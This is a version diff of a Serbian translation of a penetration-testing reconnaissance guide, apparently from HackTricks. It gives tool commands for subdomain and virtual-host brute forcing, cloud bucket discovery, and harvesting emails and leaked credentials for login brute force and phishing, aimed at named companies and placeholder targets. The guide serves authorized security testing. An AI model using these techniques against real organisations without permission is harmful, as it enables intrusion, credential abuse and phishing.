Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pripadaju provajderima oblaka i u nekom trenutku **izgube tu IP adresu ali zaborave da uklone DNS zapis**. Stoga, samo **pokretanje virtuelne mašine** u oblaku (kao što je Digital Ocean) zapravo će **preuzeti neke poddomene**.
|
||||
|
||||
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu na DigitalOcean-u**, **dobija** IPv4 **nove mašine i traži u Virustotal-u zapise poddomena** koji na nju pokazuju.
|
||||
[**Ovaj post**](https://kmsec.uk/blog/passive-takeover/) objašnjava priču o tome i predlaže skriptu koja **pokreće virtuelnu mašinu u DigitalOcean-u**, **dobija** IPv4 **nove mašine i traži u Virustotal-u zapise poddomena** koji na nju pokazuju.
|
||||
|
||||
### **Drugi načini**
|
||||
|
||||
|
@ -185,17 +182,17 @@ Očigledno je da je uobičajeno da ljudi dodeljuju poddomene IP adresama koje pr
|
|||
|
||||
**Shodan**
|
||||
|
||||
Kako već znate ime organizacije koja poseduje IP prostor. Možete pretražiti te podatke u Shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
Kako već znate ime organizacije koja poseduje IP prostor. Možete pretražiti te podatke u shodan-u koristeći: `org:"Tesla, Inc."` Proverite pronađene hostove za nove neočekivane domene u TLS sertifikatu.
|
||||
|
||||
Mogli biste pristupiti **TLS sertifikatu** glavne web stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih web stranica poznatih od strane **Shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
Mogli biste pristupiti **TLS sertifikatu** glavne web stranice, dobiti **ime organizacije** i zatim tražiti to ime unutar **TLS sertifikata** svih web stranica poznatih od strane **shodan-a** sa filterom: `ssl:"Tesla Motors"` ili koristiti alat poput [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatno.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) je alat koji traži **domene povezane** sa glavnim domenom i **poddomene** od njih, prilično neverovatan.
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Proverite za neko [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju.
|
||||
Proverite da li postoji [preuzimanje domena](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Možda neka kompanija **koristi neki domen** ali su **izgubili vlasništvo**. Samo ga registrujte (ako je dovoljno jeftino) i obavestite kompaniju.
|
||||
|
||||
Ako pronađete bilo koji **domen sa drugačijom IP adresom** od onih koje ste već pronašli u otkrivanju resursa, trebalo bi da izvršite **osnovno skeniranje ranjivosti** (koristeći Nessus ili OpenVAS) i neko [**skeniranje portova**](../pentesting-network/#discovering-hosts-from-the-outside) sa **nmap/masscan/shodan**. Zavisno od toga koje usluge se izvršavaju, možete pronaći u **ovoj knjizi neke trikove za "napad" na njih**.\
|
||||
_Napomena da se ponekad domen nalazi unutar IP adrese koja nije pod kontrolom klijenta, pa nije u opsegu, budite oprezni._
|
||||
|
@ -247,7 +244,7 @@ amass enum -d tesla.com | grep tesla.com # To just list subdomains
|
|||
# findomain, use -silent to only have subdomains in the output
|
||||
./findomain-linux -t tesla.com [--quiet]
|
||||
```
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us)
|
||||
* [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/sr)
|
||||
```bash
|
||||
python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run
|
||||
```
|
||||
|
@ -268,7 +265,7 @@ vita -d tesla.com
|
|||
```bash
|
||||
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||
```
|
||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, kao što su:
|
||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, poput:
|
||||
|
||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
|
||||
```bash
|
||||
|
@ -300,7 +297,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
|||
}
|
||||
crt tesla.com
|
||||
```
|
||||
* [**gau**](https://github.com/lc/gau)**:** prikuplja poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen.
|
||||
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen.
|
||||
```bash
|
||||
# Get subdomains from GAUs found URLs
|
||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||
|
@ -339,7 +336,7 @@ Možete pronaći **poređenje** mnogih ovih alata ovde: [https://blog.blacklante
|
|||
|
||||
### **DNS Brute force**
|
||||
|
||||
Pokušajmo da pronađemo nove **poddomene** grubom silom pretražujući DNS servere koristeći moguća imena poddomena.
|
||||
Pokušajmo da pronađemo nove **poddomene** brute-forcing DNS servere koristeći moguća imena poddomena.
|
||||
|
||||
Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene kao što su**:
|
||||
|
||||
|
@ -349,11 +346,11 @@ Za ovu akciju će vam biti potrebne neke **uobičajene liste reči za poddomene
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
Takođe, potrebne su IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DNS resolvera, možete preuzeti resolvere sa [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) i koristiti [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) da ih filtrirate. Ili možete koristiti: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Najpreporučeniji alati za DNS grubu silu su:
|
||||
Najpreporučeniji alati za DNS brute-force su:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasnu DNS grubu silu. Veoma je brz, međutim podložan je lažnim pozitivima.
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivima.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
|
@ -363,7 +360,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
|||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem sa džokerima i jednostavnom podrškom za unos-izlaz.
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem wildcard-ima i jednostavnom podrškom za unos-izlaz.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
@ -375,7 +372,7 @@ puredns bruteforce all.txt domain.com
|
|||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Druga runda DNS Brute-Force napada
|
||||
### Druga runda Brute-Force napada na DNS
|
||||
|
||||
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za ovu svrhu korisni su neki alati:
|
||||
|
||||
|
@ -383,12 +380,12 @@ Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force
|
|||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Дати домени и поддомени генеришу пермутације.
|
||||
* Можете добити goaltdns пермутације **wordlist** [**овде**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije.
|
||||
* Možete dobiti goaltdns permutacije **wordlist** ovde: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka sa permutacijama, gotator će koristiti svoju.
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
@ -397,13 +394,13 @@ gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
|||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubom silom dobiti rezultat (ne podržava dns wildcard).
|
||||
* Možete preuzeti listu reči za permutacije dmut-a [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubo forsirati rezultat (ne podržava dns wild card).
|
||||
* Možete preuzeti dmut permutacije liste reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Na osnovu domena **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Zasnovan na domenu, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||
|
||||
#### Pametna generacija permutacija
|
||||
|
||||
|
@ -413,7 +410,7 @@ python3 main.py adobe.com adobe adobe.rules
|
|||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim algoritmom vođenim odgovorima DNS-a. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu informacija prikupljenih tokom skeniranja DNS-a.
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim DNS vođenim algoritmom. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu prikupljenih informacija tokom skeniranja DNS-a.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
|
@ -427,7 +424,7 @@ Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanj
|
|||
|
||||
### **VHosts / Virtuelni hostovi**
|
||||
|
||||
Ako pronađete IP adresu koja sadrži **jednu ili više web stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost domena na toj IP adresi**.
|
||||
Ako pronađete IP adresu koja sadrži **jednu ili više veb stranica** koje pripadaju poddomenima, možete pokušati **pronaći druge poddomene sa veb stranicama na toj IP adresi** tražeći u **OSINT izvorima** domene na IP adresi ili **brute-force metodom VHost imena domena na toj IP adresi**.
|
||||
|
||||
#### OSINT
|
||||
|
||||
|
@ -435,7 +432,7 @@ Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](ht
|
|||
|
||||
**Brute Force**
|
||||
|
||||
Ako sumnjate da se neki poddomen može sakriti na veb serveru, možete pokušati da ga brute-force metodom otkrijete:
|
||||
Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute force-ujete:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -450,7 +447,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
VHostScan -t example.com
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Pomoću ove tehnike možda čak možete pristupiti internim/skrivenim endpointima.
|
||||
Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
@ -466,7 +463,7 @@ Takođe, s obzirom da ćete u ovom trenutku znati sve domene unutar opsega, poku
|
|||
|
||||
### **Monitorisanje**
|
||||
|
||||
Možete **pratiti** da li su **kreirani novi poddomeni** domena praćenjem **Certificate Transparency** logova koje radi [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
Možete **pratiti** da li su **novi poddomeni** domena kreirani praćenjem **Certificate Transparency** logova koje radi [**sublert**](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
|
@ -497,11 +494,11 @@ Takođe možete proveriti domene koje usmeravaju ka određenoj IP adresi koriš
|
|||
|
||||
> Pronašli smo sve kompanije i njihove resurse i znamo opsege IP adresa, domene i poddomene unutar opsega. Vreme je da tražimo web servere.
|
||||
|
||||
U prethodnim koracima verovatno ste već izvršili neku **rekognosciranje otkrivenih IP adresa i domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega.
|
||||
U prethodnim koracima verovatno ste već izvršili neko **rekonnoitering IP adresa i otkrivenih domena**, tako da možda već imate **pronašli sve moguće web servere**. Međutim, ako niste, sada ćemo videti neke **brze trikove za traženje web servera** unutar opsega.
|
||||
|
||||
Molimo vas, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu).
|
||||
Molimo, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**, pa biste trebali takođe **izvršiti skeniranje ranjivosti** i **portova** takođe (**ako je dozvoljeno** u opsegu).
|
||||
|
||||
**Brz metod** za otkrivanje **otvorenih portova** vezanih za **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||
**Brz način** za otkrivanje **otvorenih portova** koji se odnose na **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||
Još jedan koristan alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
|
@ -513,13 +510,13 @@ Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama
|
|||
|
||||
Da biste sproveli predloženu ideju, možete koristiti [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ili [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregledate sve **snimke ekrana** i da vam kaže šta je **verovatno ranjivo**, a šta nije.
|
||||
Osim toga, možete koristiti [**eyeballer**](https://github.com/BishopFox/eyeballer) da pregleda sve **snimke ekrana** i kaže vam **šta verovatno sadrži ranjivosti**, a šta ne.
|
||||
|
||||
## Javna Cloud Sredstva
|
||||
## Javna Cloud sredstva
|
||||
|
||||
Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči kao što su: `"kripto", "novčanik", "dao", "<ime_domena>", <"imenja_poddomena">`.
|
||||
Da biste pronašli potencijalna cloud sredstva koja pripadaju kompaniji, trebalo bi da **počnete sa listom ključnih reči koje identifikuju tu kompaniju**. Na primer, za kripto kompaniju možete koristiti reči poput: `"kripto", "novčanik", "dao", "<ime_domena>", <"imeni_poddomena">`.
|
||||
|
||||
Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**:
|
||||
Takođe će vam biti potrebne liste reči koje se često koriste u **spremnicima**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
|
@ -527,13 +524,13 @@ Takođe će vam biti potrebne liste reči koje se **često koriste u bucketima**
|
|||
|
||||
Zatim, sa tim rečima trebalo bi da generišete **permutacije** (proverite [**Drugo kolo DNS Brute-Force**](./#second-dns-bruteforce-round) za više informacija).
|
||||
|
||||
Sa rezultirajućim listama reči možete koristiti alate kao što su [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
Sa rezultirajućim listama reči možete koristiti alate poput [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ili** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Zapamtite da prilikom traženja Cloud Sredstava treba **tražiti više od samo bucketa u AWS**.
|
||||
Zapamtite da prilikom traženja Cloud sredstava treba **tražiti više od samo spremnika u AWS**.
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Ako pronađete stvari poput **otvorenih bucketa ili izloženih cloud funkcija**, trebalo bi da im **pristupite** i pokušate da vidite šta vam nude i da li ih možete zloupotrebiti.
|
||||
Ako pronađete stvari poput **otvorenih spremnika ili izloženih cloud funkcija**, trebalo bi da im **pristupite** i pokušate da vidite šta vam nude i da li ih možete zloupotrebiti.
|
||||
|
||||
## Emailovi
|
||||
|
||||
|
@ -546,29 +543,29 @@ Sa **domenima** i **poddomenima** unutar opsega, praktično imate sve što vam j
|
|||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Emailovi će vam kasnije koristiti za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **phishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga.
|
||||
Emailovi će kasnije biti korisni za **bruteforce web prijava i autentikacione servise** (kao što je SSH). Takođe su potrebni za **fishing**. Osim toga, ovi API-ji će vam pružiti još više **informacija o osobi** iza emaila, što je korisno za kampanju phishinga.
|
||||
|
||||
## Procurene Poverljive Informacije
|
||||
## Curenje podataka o akreditacijama
|
||||
|
||||
Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurene poverljive informacije iz prošlosti koje pripadaju tim emailovima:
|
||||
Sa **domenima**, **poddomenima** i **emailovima** možete početi tražiti procurele akreditacije iz prošlosti koje pripadaju tim emailovima:
|
||||
|
||||
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
* [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Ako pronađete **validne procurene** poverljive informacije, to je veoma laka pobeda.
|
||||
Ako pronađete **validne procurele** akreditacije, to je veoma laka pobeda.
|
||||
|
||||
## Procurene Tajne
|
||||
## Curenje tajni
|
||||
|
||||
Procurene poverljive informacije su povezane sa hakovanjem kompanija gde su **poverljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim procurama** čije informacije nisu u tim bazama podataka:
|
||||
Curenje akreditacija je povezano sa hakovanjem kompanija gde je **osetljive informacije procurene i prodate**. Međutim, kompanije mogu biti pogođene i **drugim curenjima** čije informacije nisu u tim bazama podataka:
|
||||
|
||||
### Github Procure
|
||||
### Github Curenja
|
||||
|
||||
Poverljive informacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **razvijalaca** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
||||
Akreditacije i API-ji mogu biti procureni u **javnom repozitorijumu** **kompanije** ili **korisnika** koji rade za tu github kompaniju.\
|
||||
Možete koristiti **alat** [**Leakos**](https://github.com/carlospolop/Leakos) da **preuzmete** sve **javne repozitorijume** organizacije i njenih **developer-a** i automatski pokrenete [**gitleaks**](https://github.com/zricethezav/gitleaks) nad njima.
|
||||
|
||||
**Leakos** takođe može biti korišćen za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer se ponekad **veb stranice takođe sadrže tajne**.
|
||||
**Leakos** takođe može se koristiti za pokretanje **gitleaks** nad svim **tekstualnim** URL-ovima koje mu prosledite jer ponekad **veb stranice takođe sadrže tajne**.
|
||||
|
||||
#### Github Dorks
|
||||
|
||||
|
@ -578,26 +575,26 @@ Proverite takođe ovu **stranicu** za potencijalne **github dorks** koje takođe
|
|||
[github-leaked-secrets.md](github-leaked-secrets.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Paste Procure
|
||||
### Paste Curenja
|
||||
|
||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **poverljive informacije**, ali je veoma interesantno tražiti ih.\
|
||||
Ponekad napadači ili samo radnici će **objaviti sadržaj kompanije na sajtu za paste**. To može ili ne mora sadržati **osetljive informacije**, ali je veoma interesantno tražiti ih.\
|
||||
Možete koristiti alat [**Pastos**](https://github.com/carlospolop/Pastos) da pretražujete više od 80 sajtova za paste istovremeno.
|
||||
|
||||
### Google Dorks
|
||||
|
||||
Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebalo da budu tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti **alat kao što je** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih pokrenete sve**.
|
||||
Stari, ali zlatni google dorks uvek su korisni za pronalaženje **izloženih informacija koje ne bi trebalo da budu tamo**. Jedini problem je što [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) sadrži nekoliko **hiljada** mogućih upita koje ne možete pokrenuti ručno. Dakle, možete odabrati svojih 10 omiljenih ili možete koristiti **alat poput** [**Gorks**](https://github.com/carlospolop/Gorks) **da ih pokrenete sve**.
|
||||
|
||||
_Napomena da alati koji očekuju da pokrenu celu bazu podataka koristeći obični Google pretraživač nikada neće završiti jer će vas Google vrlo brzo blokirati._
|
||||
|
||||
### **Traženje ranjivosti**
|
||||
|
||||
Ako pronađete **validne procurene** poverljive informacije ili API tokene, to je veoma laka pobeda.
|
||||
Ako pronađete **validne procurele** akreditacije ili API tokena, to je veoma laka pobeda.
|
||||
|
||||
## Javne Ranjivosti Koda
|
||||
## Javne ranjivosti koda
|
||||
|
||||
Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i tražiti **ranjivosti** u njemu.
|
||||
|
||||
**Zavisno od jezika**, postoje različiti **alati** koje možete koristiti:
|
||||
**Zavisno o jeziku**, postoje različiti **alati** koje možete koristiti:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/code-review-tools.md" %}
|
||||
[code-review-tools.md](../../network-services-pentesting/pentesting-web/code-review-tools.md)
|
||||
|
@ -606,15 +603,15 @@ Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i t
|
|||
Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su:
|
||||
|
||||
* [**Snyk**](https://app.snyk.io/)
|
||||
## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/)
|
||||
|
||||
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **web aplikacija**, pa bih sada želeo da govorim o **metodologiji testiranja web aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||
|
||||
Takođe želim da posebno spomenem sekciju [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **radne tokove kako bi se dobile neke početne informacije o webu.**
|
||||
Takođe želim da posebno pomenem sekciju [**Alati otvorenog koda za automatsko skeniranje veb aplikacija**](../../network-services-pentesting/pentesting-web/#automatic-scanners), jer, iako ne treba očekivati da će pronaći veoma osetljive ranjivosti, korisni su za implementaciju u **tokove rada kako bi se dobile neke početne informacije o vebu.**
|
||||
|
||||
## Rekapitulacija
|
||||
|
||||
> Čestitam! Do ovog trenutka ste već obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije).
|
||||
> Čestitam! Do ovog trenutka već ste obavili **svu osnovnu enumeraciju**. Da, osnovnu, jer se može obaviti mnogo više enumeracije (videćemo više trikova kasnije).
|
||||
|
||||
Dakle, već ste:
|
||||
|
||||
|
@ -623,14 +620,14 @@ Dakle, već ste:
|
|||
3. Pronašli sve **domene** koje pripadaju kompanijama
|
||||
4. Pronašli sve **poddomene** domena (bilo preuzimanja poddomena?)
|
||||
5. Pronašli sve **IP adrese** (iz i **ne iz CDN-a**) unutar opsega.
|
||||
6. Pronašli sve **web servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?)
|
||||
6. Pronašli sve **veb servere** i napravili **screenshot** (ima li nešto čudno vredno dubljeg pregleda?)
|
||||
7. Pronašli sve **potencijalne javne cloud resurse** koji pripadaju kompaniji.
|
||||
8. **Emailove**, **procurele akreditive** i **procurele tajne** koje bi vam mogle doneti **veliku pobedu veoma lako**.
|
||||
9. **Pentestirali sve web stranice koje ste pronašli**
|
||||
9. **Testirali sve vebove koje ste pronašli**
|
||||
|
||||
## **Automatski alati za potpunu rekonstrukciju**
|
||||
## **Alati za potpunu automatsku rekonstrukciju**
|
||||
|
||||
Postoji nekoliko alata koji će obaviti deo predloženih radnji protiv datog opsega.
|
||||
Postoji nekoliko alata koji će obaviti deo predloženih akcija protiv datog opsega.
|
||||
|
||||
* [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
|
||||
